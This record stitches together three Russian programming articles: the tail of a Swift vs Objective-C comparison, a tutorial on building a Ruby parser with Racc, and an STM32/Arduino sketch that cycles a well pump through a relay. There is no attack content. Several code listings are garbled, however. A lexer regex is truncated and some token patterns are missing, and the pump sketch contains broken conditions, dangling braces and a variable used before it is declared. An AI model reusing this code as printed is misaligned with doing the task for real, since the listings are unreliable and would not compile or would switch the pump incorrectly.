/* 4) Можно проигнорировать возможность ошибки. Но если всё таки она возникнет,
это повлечёт за собой падение приложения в runtime. */
let rocket = try! factory.makeRocket(for: destination, withPayloadMass: payloadMass)
```
```
/* Для демонстрации блока defer предположим, что для заказа ракет надо сначала
открывать связь с заводом, а потом обязательно закрывать при любом исходе. */
extension ThrowingRocketFactory {
func openCommunications() {/* ... */}
func closeCommunications() {/* ... */}
}
do {
factory.openCommunications()
defer {
/* Код внутри блока defer будет вызван в момент покидания текущего scope,
в этом примере, блока do. И не важно будет ли это происходить из-за
брошенной ошибки или в ходе обычного выполнения команд. */
factory.closeCommunications()
}
let rocket = try factory.makeRocket(for: destination, withPayloadMass: payloadMass)
} catch {
// ...
}
```
15. Управление памятью
----------------------
В Swift, как и в Objective-C, используется подсчёт ссылок, но автоматический подсчёт ссылок отключить нельзя. А при работе с низкоуровневым процедурным API все возвращаемые объекты оборачиваются в структуру `Unmanaged`. Счётчиком ссылок такого объекта можно управлять вручную через методы структуры: `retain()`, `release()`, `autorelease()`; но, чтобы получить доступ к такому объекту нужно развернуть его, передав управление подсчётом ссылок Swift’у. Для этого есть два метода: `takeRetainedValue()` — возвращает ссылку с декрементом счётчика, и `takeUnretainedValue()` — просто возвращает ссылку.
Подробнее об `Unmanaged`: [[7]](http://nshipster.com/unmanaged/)
16. Потокобезопасность
----------------------
В Swift пока не никакого нативного механизма для потокобезопасности. Нет модификаторов свойств `atomic` и `nonatomic` из Objective-C. Впрочем, доступны как примитивы синхронизации вроде семафоров и мьютексов, так и Grand Central Dispatch и `NSOperation` из Cocoa.
17. Препроцессор
----------------
В отличие от Objective-C препроцессора в Swift нет. Впрочем Swift код может быть скомпилирован основываясь на условии вычисления конфигураций сборки (build configurations). Эти конфигурации могут учитывать логические фляги компилятора (`-D <#flag#>`) и результат специальных функций, которые могут проверять ОС — `os()` с аргументом из списка: `OSX`, `iOS`, `watchOS`, `tvOS`, `Linux`; архитектуру — `arch()`: `x86_64`, `arm`, `arm64`, `i386`; версию языка — `swift()`: >= и номер версии. Для этого используются директивы:`#if`, `#elseif`, `#else`, `#endif`.
[Apple docs.](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/BuildingCocoaApps/InteractingWithCAPIs.html#//apple_ref/doc/uid/TP40014216-CH8-ID34)
18. Библиотеки другого языка
----------------------------
*Можно ли использовать Objective-C библиотеки и фреймворки в Swift проектах?* Да, до тех пор пока они не требуют доступа в runtime к вашим чистым Swift классам. Например, OCMock работает только со Swift классами, которые наследуются от `NSObject`.
*Можно ли использовать Swift библиотеки и фреймворки в Objective-C проектах?* Только если они спроектированы таким образом, чтобы поддерживать Objective-C. Чтобы Swift классы были видны из Objective-C, они должны наследоваться от `NSObject`. Уникальные для Swift возможности не будут доступны.
[Apple docs.](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/BuildingCocoaApps/MixandMatch.html)
Динамизм Objective-C
====================
Когда мы говорим о динамизме Objective-C мы имеем в виду следующие базовые возможности [[8]](http://inessential.com/2016/05/26/a_definition_of_dynamic_programming_in_t):
1. Приложение может узнавать свою структуру в runtime. Например, какие методы и свойства есть у объекта или получение ссылки на протокол, класс или метод из строки.
2. Приложение может что-то делать основываясь на том, что оно знает о своей структуре. Например, создавать экземпляры класса, имя которого было неизвестно на этапе компиляции, или обращаться к методам и свойствам, которые тоже были не известны при компиляции.
3. Приложение может изменять свою структуру. Например, в runtime добавлять методы классам или объявлять новые классы.
Используя эти возможности, в Cocoa были реализованы множество полезных механизмов. В Swift нет такого динамизма, но когда мы разрабатываем под iOS, мы всё равно стоим на плечах Cocoa и можем использовать эти возможности, правда с некоторыми ограничениями.
Но ведь Swift это open source язык, который существует не только в Apple экосистеме, где есть Cocoa. Эти возможности были бы полезны и там. Кроме того, хоть в ближайшие года, скорее всего, Cocoa никуда не уйдёт, можно предположить, что когда-нибудь в будущем Apple будут заменять фреймворки Cocoa чем-то новым, написанном на чистом Swift. Как они будут решать те проблемы, которые в Objective-C решались его динамизмом? Рассмотрим некоторые такие, базирующиеся на динамизме, возможности, как они используются в Swift + Cocoa, и какие альтернативы есть в чистом Swift.
19. “Target/action” messaging
-----------------------------
“Target/action” messaging используется для отправления команд из интерфейса в код. Эта возможность объявить метод у объекта в responder chain и одним движением соединить его с UI элементом в Interface Builder в 1988 году стала выдающимся улучшением по сравнению с одной монолитной функцией, которая вызывалась при любом действии от пользователя.
Swift + Cocoa. Все responder классы наследуются от `UIResponder` из UIKit, так что всё, конечно, работает.
В чистом Swift нет механизмов самоанализа для реализации подобной возможности. Без динамизма не получиться найти какой объект в responder chain реализует определёный в runtime метод и вызвать его. [[9]](http://blog.wilshipley.com/2016/05/pimp-my-code-book-2-swift-and-dynamism.html)
20. Key-Value Coding
--------------------
Возможность обращаться к свойствам объектов, используя строки как идентификаторы.
Swift + Cocoa. В Swift KVC работает только для классов, которые наследуются от `NSObject`.
Альтернативы в чистом Swift?
Только read-only, через отражения (reflection) используя структуру `Mirror`. [[10]](https://appventure.me/2015/10/24/swift-reflection-api-what-you-can-do/)
21. Key-Value Observing
-----------------------
Возможность “подписаться” на обновления какого-либо свойства.
Swift + Cocoa. KVO работает только если и наблюдатель, и наблюдаемый объект наследуются от `NSObject`, и наблюдаемое свойство отмечено как `dynamic`, для предотвращения статической оптимизации.
Нативных аналогов в Swift нет, но, в принципе, реализуемо, например, с помощью property observers. Любая реализация: своя или уже готовая библиотека, например [Observable-Swift](https://github.com/slazyk/Observable-Swift), добавляет при использовании лишний код, когда в Cocoa KVO всё работало как есть.
22. NotificationCenter
----------------------
Возможность одним объектам подписываться на оповещения, а другим отправлять эти оповещения.
Swift + Cocoa. Использование API с селектором накладывает следующие ограничения. Наблюдатель должен быть экземпляром класса (не структурой и не перечислением) и метод, вызываемый при получении уведомления должен быть доступен для Objective-C (класс наследоваться от `NSObject` или метод отмечен `@objc`). От этих ограничений можно избавиться, используя API с замыканием, но он всё равно возвращает объект-токен типа `NSObjectProtocol`, с помощью которого следует отписываться от оповещений. Так что привязка к Cocoa пока остаётся.
Чистый Swift. Для реализации шаблона “Наблюдатель” динамизм не нужен, так что аналог в чистом Swift может быть реализован. Более того, потеря префикса NS в названии говорит о том, что следует ожидать, что `NotificationCenter` будет добавлен в Swift Foundation, то есть отбросит Cocoa динамизм.
23. UndoManager
---------------
Возможность регистрировать изменения как обратимые, чтобы позволить пользователю перемещаться назад и вперёд по ним.
Swift + Cocoa. Существует 3 способа регистрировать изменения: с помощью селектора, через `NSInvocation` или через замыкание. Все три способа применимы только для экземпляров классов. Для способа с селектором есть дополнительное ограничение: то же, что и описано выше про `NotificationCenter`: метод должен быть доступен для Objective-C. Способ с `NSInvocation` наиболее сильно опирается на динамизм, ведь, по сути, это перехват сообщений, так что класс должен наследоваться от `NSObject`. Способ с замыканием же доступен только начиная с iOS 9.
Чистый Swift. Существующий на данный момент `UndoManager` целиком опирается на динамизм, но, также как и `NotificationCente`r, реализация подобного функционала возможна в чистом Swift, и в будущем следует ожидать `UndoManager` в Swift Foundation.
Вообще, все API с селекторами, для которых динамизм не важен, то есть вызываемый код известен на момент компиляции, могут быть заменены на чистый Swift API, использующий замыкания или делегирование.
Для тех задач, которые, действительно зависят от динамизма Objective-C, решений в чистом Swift пока нет. Как Swift решит эти проблемы пока не ясно. Может быть это будет добавлением динамизма, может — совсем по-новому. Важно то, чтобы это решение не было узкоспециализированном, ведь когда Objective-C разрабатывался никто не знал о KVC, CoreData, bindings, HOM, UndoManager и т.д. И ничто из этого списка не требовало специальной поддержки языком/компилятором. Мы хотим, чтобы Swift не только решал эти проблемы, но и не ограничивал нас в разработке новых подобных возможностей. [[11]](http://blog.metaobject.com/2016/05/what-missing-in-discussion-about.html)
Статическая типизация в Swift
=============================
Так какие же преимущества даёт строгая статическая типизация в Swift? Ради чего был потерян динамизм?
1. Надёжность. Писать надёжный код в Swift проще, чем в Objective-C. Статическая типизация позволяет использовать систему типов, чтобы сделать нежелательное поведение невозможным. То есть отлавливать возможные ошибки на этапе компиляции. Несколько интересных приёмов можно подсмотреть здесь: [[12]](https://realm.io/news/swift-summit-johannes-weiss-the-type-system-is-your-friend/) и [[13]](https://alisoftware.github.io/swift/enum/constants/2015/07/19/enums-as-constants/).
2. Скорость работы? Безусловно, статическое связывание позволяет компилятору проводить более агрессивную оптимизацию, и чистый Swift работает быстрее, чем Objective-C. Но, вряд ли, в iOS разработке можно получить существенную выгоду от этого, пока практически всё базируется на динамическом Cocoa.
Говоря о системе типов, хочется отметить следующее. В Swift никакой тип автоматически не приводится к `Bool`, и оператор присваивания не возвращает значения.
Заключение
==========
Кроме возможностей Swift и Objective-C различает ещё несколько моментов.
Во-первых, source stability. Хоть разработчики языка и попытались собрать максимальное количество изменений, нарушающих совместимость в версии 3.0, я думаю, ни для кого не секрет, что Swift находится ещё в активном развитии, и подобные изменения неизбежны. Впрочем, сейчас каждое предложение на такое изменение требует убедительного обоснования и подробного обсуждения. Также, для работы со старой кодовой базой в язык будут введён флаг компилятора для версии языка и расширение для Availability API. [[14]](https://github.com/apple/swift-evolution/blob/master/proposals/0141-available-by-swift-version.md)
Во-вторых, Swift ещё нет ABI совместимости. Это значит, что динамические библиотеки скомпилированные в другой версии языка не будут работать.
Всё это означает, что перед тем как переносить свой проект на новую версию языка, вам придётся дождаться пока все Swift библиотеки и фреймворки, которые вы используете, тоже не перейдут на новую версию.
Обеспечение совместимости со Swift 3 и стабилизация ABI являются основными целями для Swift 4, который выйдет в конце 2017 года. [[15]](https://lists.swift.org/pipermail/swift-evolution/Week-of-Mon-20160725/025676.html)
Ну и напоследок, список моментов, которые тоже отличают Swift от Objective-C, но, по моему мнению, недостаточно влияют на разработку, чтобы внести их в основной список.
* Перегрузка операторов и возможность определения новых.
* Усиленный `switch-case`.
* Строгие правила инициализаторов.
* Индексы (subscripts).
* Availability API.
* Playgrounds.
* Swift — open source.
* Вывод типов.
* Интервалы.
* Option sets.
* Labeled loops.
* Autoclosures.
* Интерполяция строк.
Ссылки
======
[1. Advanced & Practical Enum usage in Swift](https://appventure.me/2015/10/17/advanced-practical-enum-examples/)
[2. Controlling Complexity in Swift — or — Making Friends with Value Types](https://realm.io/news/andy-matuschak-controlling-complexity/)
[3. Protocols with Associated Types](https://youtu.be/XWoNjiSPqI8)
[4. Swift: Associated Types](http://www.russbishop.net/swift-associated-types)
[5. The Ghost of Swift Bugs Future](https://nomothetis.svbtle.com/the-ghost-of-swift-bugs-future)
[6. Protocol-Oriented Programming in Swift](https://developer.apple.com/videos/play/wwdc2015/408/)
[7. Unmanaged](http://nshipster.com/unmanaged/)
[8. A Definition of Dynamic Programming in the Cocoa World](http://inessential.com/2016/05/26/a_definition_of_dynamic_programming_in_t)
[9. Pimp My Code, Book 2: Swift and Dynamism](http://blog.wilshipley.com/2016/05/pimp-my-code-book-2-swift-and-dynamism.html)
[10. The Swift Reflection API and what you can do with it](https://appventure.me/2015/10/24/swift-reflection-api-what-you-can-do/)
[11. What's Missing in the Discussion about Dynamic Swift](http://blog.metaobject.com/2016/05/what-missing-in-discussion-about.html)
[12. The Type System is Your Friend](https://realm.io/news/swift-summit-johannes-weiss-the-type-system-is-your-friend/)
[13. Enums as constants](https://alisoftware.github.io/swift/enum/constants/2015/07/19/enums-as-constants/)
[14. Availability by Swift version](https://github.com/apple/swift-evolution/blob/master/proposals/0141-available-by-swift-version.md)
[15. Looking back on Swift 3 and ahead to Swift 4](https://lists.swift.org/pipermail/swift-evolution/Week-of-Mon-20160725/025676.html) | https://habr.com/ru/post/308264/ | null | ru | null |
# Практическое использование Racc — генератора LALR(1) парсера для Ruby
В рамках создания фреймворка для некоторой системы Enterprise класса, у меня стояла задача создания утилиты для автоматизированной генерации кода по UML модели. Ничего наиболее подходящего для быстрого и эффективного решения задачи, кроме как использование Ruby, и встроенного шаблонизатора ERB, под руку не подвернулось.
Файл проекта из среды UML моделирования представлял собой базу данных формата SQLite3, однако некоторую часть информации в этой БД среда хранила в виде сериализованных в BLOB поля объектов. Формат сериализации был текстовый, но не совместимый ни с одним из известных, такими как XML, YAML, совсем отдаленно напоминал JSON. Использовать существующие в природе парсеры было невозможно.
В простых случаях, когда вам не требуется весь объект целиком, а только пара скалярных полей конкретной инстанции, то конечно можно тупо добраться до нужного регулярками. В противном случае, есть универсальное решение проблемы, позволяющее быстро создавать собственные парсеры для подобных структур, десериализующие их в объекты Ruby.
Вот так примерно выглядят исходные сериализованные объекты.
Задача — получить это в виде комплексной структуры Ruby на базе Array и Hash.
#### data.txt
```
7ghoJdyGAqACCgeT:"User":Class {
FromEndRelationships=(
,
<9bToJdyGAqACCgfF>
);
\_masterViewId="7ghoJdyGAqACCgeS";
pmLastModified="1355667704781";
pmAuthor="author";
Child=(
{UwZoJdyGAqACCgei:"name":Attribute {
visibility=71;
pmLastModified="1355667655234";
pmAuthor="author";
type=<\_n2oJdyGAqACCgXh>;
pmCreateDateTime="1355667628234";
\_modelViews=NULL;
\_modelEditable=T;
}},
{9lZoJdyGAqACCgel:"created":Attribute {
visibility=71;
type\_string="date";
pmLastModified="1355667655234";
pmAuthor="author";
pmCreateDateTime="1355667630703";
\_modelViews=NULL;
\_modelEditable=T;
}},
{nLFoJdyGAqACCgeo:"active":Attribute {
visibility=71;
pmLastModified="1355667655234";
pmAuthor="author";
type=<\_n2oJdyGAqACCgXY>;
pmCreateDateTime="1355667639609";
\_modelViews=NULL;
\_modelEditable=T;
}}
);
pmCreateDateTime="1355667607671";
\_modelViews=(
{4QhoJdyGAqACCgeU:"View":ModelView {
container=;
view="7ghoJdyGAqACCgeS";
}}
);
\_modelEditable=T;
}
```
Если проанализировать исходный формат, то в нем можно выделить следующие элементы, которые четко определяют его грамматику:
* Объект. Он начинается со строки формата *Id:"Name":Type*, и далее в фигурных скобках содержит набор атрибутов.
* Атрибуты объекта. Указываются как *ключ = значение*, плюс точка с запятой.
* Значение атрибута. Может быть строкой, числом, ссылкой, другим объектом, или коллекцией любых из перечисленных значений.
* Значения указываются в определенной для каждого типа нотации. Строки заключается в кавычки. Объект заключается в фигурные скобки. Коллекция значений заключается в круглые скобки, через запятую.
Подобная грамматика является контекстно-свободной, ее легко можно описать при помощи формы [Бэкуса — Наура](http://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0-%D0%9D%D0%B0%D1%83%D1%80%D0%B0). А для разбора использовать восходящий алгоритм сдвиг/свертка. Один из самых распространенных алгоритмов этой категории это [LALR(1)](http://ru.wikipedia.org/wiki/LALR(1)), он используется в таких известных «компиляторах компиляторов» как Yacc/GNU Bison. Существует и реализация для интересующей нас платформы Ruby — это **Racc**. Его мы и будем использовать для создания нашего парсера.
#### Восходящий алгоритм сдвиг/свертка
Для того, чтобы базово сориентироваться в **Racc**, и создать элементы нашего будущего парсера, достаточно в общем упрощенном виде представлять принцип работы алгоритма восходящего разбора сдвиг/свертка.
Предположим, у нас есть входной поток символов:
`ВОДА + СПИРТ + СОК`
Также у нас заданы правила грамматики:
`ВОДКА это ВОДА + СПИРТ`
`КОКТЕЙЛЬ это ВОДКА + СОК`
Входящий поток поделен на две части маркером: проанализированную левую, и непроанализированную правую. Маркер визуально представлен символом '|'. Алгоритм последовательно читает по одному символу из потока, это есть операция сдвига (Shift), которая передвигает маркер на одну позицию вправо. Следующим шагом алгоритм выполняет операцию свертки (Reduce) для левой от маркера части, в соответствии с правилами грамматики. И так до конца, пока не кончатся символы и все свертки не будут удовлетворены.
`s: ВОДА | + СПИРТ + СОК`
`r: ВОДА | + СПИРТ + СОК`
`s: ВОДА + | СПИРТ + СОК`
`r: ВОДА + | СПИРТ + СОК`
`s: ВОДА + СПИРТ | + СОК`
`r: ВОДКА | + СОК`
`s: ВОДКА + | СОК`
`r: ВОДКА + | СОК`
`s: ВОДКА + СОК |`
`r: КОКТЕЙЛЬ |`
#### Установка Racc
Среда выполнения для парсеров на базе Racc уже включена в Ruby. Начиная с версии 1.8.x любой парсер, созданный при помощи Racc, будет работать без дополнительных телодвижений. Однако для того, чтобы иметь возможность создавать собственные парсеры, необходимо установить пакет Racc, содержащий генератор парсеров. Это делается стандартно через gem:
`# gem install racc`
#### Создание парсера на Racc
Исходником для генератора парсеров Racc является файл (обычно с расширением .y), содержащий определение Ruby-класса парсера, и включающий дополнительные директивы Racc. В определении парсера должны присутствовать следующие элементы:
* Определения терминальных символов грамматики — токенов
* Определения правил грамматики и сверток
* Лексический анализатор
##### Токены
Итак, первое, что необходимо сделать, это в грамматике выделить так называемые терминальные символы — элементарные частицы, из которых составляются более сложные конструкции, и дать им имена. У нас получится примерно следующее:
* **T\_OBJECTID** — идентификатор объекта
* **T\_IDENTIFIER** — идентификатор атрибута
* **T\_STRING** — текстовая строка
* **T\_NUMBER** — число
* **T\_BOOLEAN** — булево значение
* **T\_NULL** — пустое значение
* **T\_REFERENCE** — ссылка
* **T\_LBR, T\_RBR, T\_LPAR, T\_RPAR, T\_EQ, T\_COMMA, T\_SEMICOLON** — знаки препинания: различные скобки, знак равно, запятая, точка с запятой
В определении класса парсера допустимые токены определяются, используя ключевое слово **token**.
##### Лексический анализатор
Следующим шагом следует создать лексический анализатор. В его функции входит сканирование входящего потока и выявление в нем токенов. Лексический анализатор должен трансформировать входящий поток в набор последовательных токенов. Racc, при выполнении операции сдвига, должен получить из входящего потока новый токен, преобразованный лексическим анализатором. Он это осуществляет посредством вызова у класса парсера метода **next\_token**, который должен возвращать структуру, содержащую имя и значение токена:
```
[:TOKEN_NAME, 'Token value']
```
В качестве метки окончания потока служит значение:
```
[false, false]
```
Для создания лексического анализатора удобно использовать класс *StringScanner*. Иногда важно правильно выбирать порядок сканирования шаблонов, так как одни токены могут перекрывать другие. В данном примере лексический анализатор выполняет полную обработку всего входящего потока сразу при старте парсера, вызывая метод **tokenize**, и сохраняя получившиеся токены в массив, из которого каждый раз и получает следующий токен метод **next\_token**.
##### Правила грамматики
Следующим шагом мы описываем правила грамматики. В Racc это выполняется при помощи директивы **rule**, следуя за которой задаются правила используя форму Бэкуса — Наура. Нетерминальные символы выражаются через терминальные и нетерминальные. Например, в следующем фрагменте задается нетерминал **attribute** — атрибут объекта, который в соответствии с нашей грамматикой представляет собой идентификатор, следующий за ним знак равенства, произвольное значение выраженное другим нетерминалом, и завершающая точка с запятой:
```
attribute: T_IDENTIFIER T_EQ value T_SEMICOLON { result = { val[0] => val[2] } };
```
В фигурных скобках после правила задается выражение Ruby, которое должно выполнять свертку заданной последовательности символов до объявленного нетерминала, в данном случае — **attribute**. Переменные **val** и **result** предопределены Racc. Массив **val** содержит значения свертываемой последовательности, в данном случае val[0] содержит значение T\_IDENTIFIER, val[2] значение value. В переменную **result** размещается результирующее свернутое значение.
Для запуска парсера необходимо вызвать метод **do\_parse**. Этот метод определен в классе *Racc::Parser*, от которого будет унаследован наш класс парсера.
Ниже представлен полный исходный текст определения парсера.
#### parser.y
```
class Parser
token T_OBJECTID T_STRING T_REFERENCE T_IDENTIFIER T_NUMBER T_BOOLEAN T_NULL
token T_LBR T_RBR T_LPAR T_RPAR T_EQ T_COMMA T_SEMICOLON
start input
rule
input: object { @result = val[0] };
object: T_OBJECTID T_LBR attributes T_RBR {
oid = val[0].split(':');
result = {
:id => dequote(oid[0]),
:name => convertNULL(dequote(oid[1])),
:type => dequote(oid[2])
}.merge(val[2])
};
attributes: attribute { result = val[0] }
| attributes attribute { result = val[0].merge(val[1]) }
;
attribute: T_IDENTIFIER T_EQ value T_SEMICOLON { result = { val[0] => val[2] } };
values: value { result = [val[0]] }
| values T_COMMA value { val[0] << val[2] }
;
value: T_STRING { result = dequote(val[0]) }
| T_REFERENCE { result = dequote(val[0]) }
| T_NUMBER { result = val[0].to_i }
| T_BOOLEAN { result = val[0] == 'T' }
| T_NULL { result = nil }
| T_LBR object T_RBR { result = val[1] }
| T_LPAR values T_RPAR { result = val[1] }
;
---- header ----
require 'strscan'
---- inner ----
def tokenize(text)
tokens = []
s = StringScanner.new(text)
until s.eos?
case
when s.skip(/\s+/)
next
when s.scan(/\A[\w\.]+:\"*\w*\"*:\w+/)
tokens << [:T_OBJECTID, s[0]]
next
when s.scan(/\A\{/)
tokens << [:T_LBR, nil]
next
when s.scan(/\A\}/)
tokens << [:T_RBR, nil]
next
when s.scan(/\A\(/)
tokens << [:T_LPAR, nil]
next
when s.scan(/\A\)/)
tokens << [:T_RPAR, nil]
next
when s.scan(/\A\=/)
tokens << [:T_EQ, nil]
next
when s.scan(/\A\,/)
tokens << [:T_COMMA, nil]
next
when s.scan(/\A\;/)
tokens << [:T_SEMICOLON, nil]
next
when s.scan(/\w+/)
if (s[0].match(/[0-9]+/))
tokens << [:T_NUMBER, s[0]]
elsif (s[0].match(/\A[TF]{1}\Z/))
tokens << [:T_BOOLEAN, s[0]]
elsif (s[0].match(/\ANULL\Z/))
tokens << [:T_NULL, nil]
else
tokens << [:T_IDENTIFIER, s[0]]
end
next
when s.scan(/(["]).*?(?/)
tokens << [:T_REFERENCE, s[0]]
next
else
s.getch
next
end
end
tokens << [false, false]
return tokens
end
def parse(text)
@tokens = tokenize(text)
do_parse
return @result
end
def next_token
@tokens.shift
end
def dequote(text)
text.gsub(/\A["<]|[">]\Z/, '').strip
end
def convertNULL(text)
text.upcase == "NULL" ? nil : text
end
```
Файл .y это еще не парсер. Парсер нужно сгенерировать, используя утилиту **racc**, и делать это необходимо каждый раз после изменения определения парсера в .y файле:
`# racc parser.y -o parser.rb`
Полученный файл с классом парсера можно подключать и использовать обычным образом:
#### main.rb
```
require 'pp'
require './parser.rb'
parser = Parser.new
obj = parser.parse(File.read("data.txt"))
puts obj.pretty_inspect
```
Таким будет результат работы парсера — комплексная структура Ruby:
#### output
```
{
:id => "7ghoJdyGAqACCgeT",
:name => "User",
:type => "Class",
"FromEndRelationships" => ["vdHoJdyGAqACCgfe", "9bToJdyGAqACCgfF"],
"_masterViewId" => "7ghoJdyGAqACCgeS",
"pmLastModified" => "1355667704781",
"pmAuthor" => "author",
"Child" => [
{
:id => "UwZoJdyGAqACCgei",
:name => "name",
:type => "Attribute",
"visibility" => 71,
"pmLastModified" => "1355667655234",
"pmAuthor" => "author",
"type" => "_n2oJdyGAqACCgXh",
"pmCreateDateTime" => "1355667628234",
"_modelViews" => nil,
"_modelEditable" => true
},
{
:id => "9lZoJdyGAqACCgel",
:name => "created",
:type => "Attribute",
"visibility" => 71,
"type_string" => "date",
"pmLastModified" => "1355667655234",
"pmAuthor" => "author",
"pmCreateDateTime" => "1355667630703",
"_modelViews" => nil,
"_modelEditable" => true
},
{
:id => "nLFoJdyGAqACCgeo",
:name => "active",
:type => "Attribute",
"visibility" => 71,
"pmLastModified" => "1355667655234",
"pmAuthor" => "author",
"type" => "_n2oJdyGAqACCgXY",
"pmCreateDateTime" => "1355667639609",
"_modelViews" => nil,
"_modelEditable" => true
}
],
"pmCreateDateTime" => "1355667607671",
"_modelViews" => [
{
:id => "4QhoJdyGAqACCgeU",
:name => "View",
:type => "ModelView",
"container" => "hguoJdyGAqACCgeL",
"view" => "7ghoJdyGAqACCgeS"
}
],
"_modelEditable" => true
}
``` | https://habr.com/ru/post/164091/ | null | ru | null |
# Полуавтоматическое управление насосом скважины
#### Полуавтоматическое управление насосом скважины с помощью STM32 в среде Ардуино
Многие обладатели приусадебных участков имеют на своих владениях водяные скважины, и, возможно, сталкивались с проблемой заиливания колодца/протухания воды за время простоя скважины с осени по весну.
Так уж случилось, что скважина на моем участке простаивала несколько лет, а когда пользовались, то отбирали очень мало воды.
Попытавшись почистить ее различными способами, было приобретено понимание, что не так уж все плохо и достаточно обеспечить стабильный отбор воды. Для этого было собрано несложное устройство, состоящее из блока питания с переходником микро-usb, (зарядное от телефона, на фото отсутствует), платы blue pill на базе камня stm32f103c8t6, модуля реле, двухполюсного магнитного пускателя, обычного кнопочного выключателя закрытого типа, и собрано в распаечной коробке.
Плату микроконтроллера подготовил по [мануалу](https://geektimes.ru/post/277928/) [HWman](https://habr.com/ru/users/hwman/) 'а. В комментариях была просьба уточнить, что STM32 можно прошить специальным загрузчиком, что в последующем позволяет программировать её через USB, как и обычные ардуинки.
Программирую с помощью [плагина](http://www.visualmicro.com) в Visual Studio Community. Установка плагина примитивная, не составит никакого умственного труда. Добавлю только, что плагин требует установленной ARDUINO IDE. Профессионалов, полагаю, смутит подобный подход, однако готовое изделие стабильно работает более полугода и выполняет поставленную задачу. И все же, я открыт для идей по улучшению устройства.
Получаем крайне удобную среду с синтаксическим анализом кода, IntelliSense, и что субъективно немаловажно — темную тему оформления. Ибо глазоньки.
Прошиваем платку:
**Код**
```
/*
Name: Nasos.ino
Created: 23.02.2017 19:08:20
Author: Ksiw
Архитектура программы заключается в установлении флага на включение реле различными способами, дабы в последстви проверить его(флага) статус и тогда переключить реле в соответственное положение.
Если кнопка ручного включения не зажата, то цикл выполняется примерно 10 раз в секунду.
Если кнопка зажата, то вначале дается десятая секунды во избежание дребезга, далее, проверка состояния кнопки происходит 20 раз/сек.
99% всего времени камень отдыхает пребывая в delay()
*/
unsigned long Work = 2UL*60; /*2 минуты работы*/ // укажи тут время работы в минутах, с приведением типов
//это не просто какая то дичь... Однако! Без приведения умножение вычислялось неверно.
const unsigned long Sleep = (unsigned long)20*60; //а тут простоя
unsigned long TimeLeft; //осталось секунд до переключения
int tempo = iter; //сразу вывести
int iter = 10; //пропускать итераций перед следующим выводом в порт
unsigned long timeNextSwich;
int button = PB4; //пин кнопки
unsigned long WorkTime, SleepTime ; // время в миллисекундах продолжительность включения насоса в минутах
bool handOn = false; //флаг ручного включения
bool flag; //флаг статуса реле
int RelayPin = PB7; //пин управления реле
unsigned long PreviousMillis = 0;
unsigned long CurrentMillis = millis();
unsigned long fullTimeIteration = 4200000000; //вычисление времени рестарта программы //(long 4,294,967,295)
//---------------------прототипы
void SwichFlag();
void SwichRelay();
void Button();
unsigned long SecToMillis(unsigned long);
void ResidueTime();
void ResetTimeToWork();
//-------------------------------------в начало программы---------------------------
void(*resetFunc) (void) = 0;
//********************************ПУСК*******************************************
void setup()
{
Serial.begin(115200);
flag = false; //включение реле при загрузке микроконтроллера
//-----------Инициализация вывода реле
pinMode(RelayPin, OUTPUT);
pinMode(button, INPUT);
digitalWrite(RelayPin, flag);
Serial.println("");
WorkTime = SecToMillis(Work);
SleepTime = SecToMillis(Sleep);
PreviousMillis = millis();
}
void loop() //****************************ЦИКЛ**********************************************
{
while(true)
{
CurrentMillis = millis(); //текущее время
ResetTimeToWork(); //проверка переполнения milis()
SwichFlag(); //проверка необходимости переключения
SwichRelay(); //переключили реле, если флаг изменился
ResidueTime(); //вывод в порт
Button(); //обработка кнопки
tempo++;
handOn = false;
delay(100);
}
}
//-------------------------------------переключение флага----------------------------------------------
void SwichFlag()
{
if(flag && CurrentMillis-PreviousMillis>=SleepTime)
{
PreviousMillis = CurrentMillis;
flag = false; //если разница предыдущего замера и текущего времени больше времени сна, но уставим флаг на включение
Serial.println("Flag On");
}
else if(!flag && CurrentMillis-PreviousMillis>=WorkTime) //Иначе, если реле включено и пришло время выключаться, переключим флаг в "выключено"
{
PreviousMillis = CurrentMillis;
flag = true;
Serial.println("Flag OFF");
}
}
//-------------------------------------работа кнопки-------------------------------------------------------
void Button()
{
if(digitalRead(button)==HIGH) //если кнопка нажата
{
do
{
if(handOn)
{
delay(50);
continue;
}
Serial.println("TURNED ON");
digitalWrite(RelayPin, LOW); //то включаем реле
flag = true;
handOn = true;
delay(100); //и немного удерживаем
}while (digitalRead(button)==HIGH);
CurrentMillis = millis(); //узнаем и записываем когда это окончилось
PreviousMillis = CurrentMillis; //обновляем время последних действий
delay(20);
}
}
//-------------------------------------преобразование секунд в миллисекунды---------------------------
unsigned long SecToMillis(unsigned long Temp)
{
return Temp*1000;
}
//-------------------------------------время до переключения----------------------------------------------
void ResidueTime()
{
if(CurrentMillis iter)
{
if(flag)
{
TimeLeft = timeNextSwich/1000+1;
Serial.print(" Time to ON: ");
Serial.print(TimeLeft);
Serial.print("sec");
Serial.println("");
}
else
{
TimeLeft = timeNextSwich/1000+1;
Serial.print(" Time to OFF: ");
Serial.print(TimeLeft);
Serial.print("sec");
Serial.println("");
}
tempo = 0;
}
if(tempo > iter) //вывод каждую нную итерацию
{
if(flag)
{
TimeLeft = (PreviousMillis+SleepTime-CurrentMillis)/1000+1;
Serial.print(" Time to ON: ");
Serial.print(TimeLeft);
Serial.print("sec");
Serial.println("");
}
else
{
TimeLeft = (PreviousMillis+WorkTime-CurrentMillis)/1000+1;
Serial.print(" Time to OFF: ");
Serial.print(TimeLeft);
Serial.print("sec");
Serial.println("");
}
tempo = 0;
}
}
//-------------------------------------переходная функция вовремя переполнения milis();
void ResetTimeToWork()
{
while(CurrentMillis=CurrentMillis) //пока время следующего переключения больше текущего
{
CurrentMillis = millis();
ResidueTime();
Button(); // если кнопка нажата, перезаписывается время последнего действа и выходим из функции ResetTimeToWork()!
if(CurrentMillis>PreviousMillis)
return;
tempo++; //для корректной работы ResidueTime();
}
flag = false;
PreviousMillis = CurrentMillis; //обновляем время изменения
CurrentMillis = millis();
return;
}
if(!flag)
{
timeNextSwich = WorkTime-(4294967295-PreviousMillis);
while(timeNextSwich>=CurrentMillis) //пока время следующего переключения больше текущего
{
CurrentMillis = millis();
ResidueTime();
Button();
if(CurrentMillis>PreviousMillis)
return;
tempo++;
}
flag = true;
PreviousMillis = CurrentMillis;
CurrentMillis = millis();
return;
}
}
}
//--------------------------------------переключалка реле--------------------------------------------------
void SwichRelay()
{
if(!flag)
{
digitalWrite(RelayPin, flag); // включаем реле
}
else
{
digitalWrite(RelayPin, flag); // выключаем реле
}
}
```
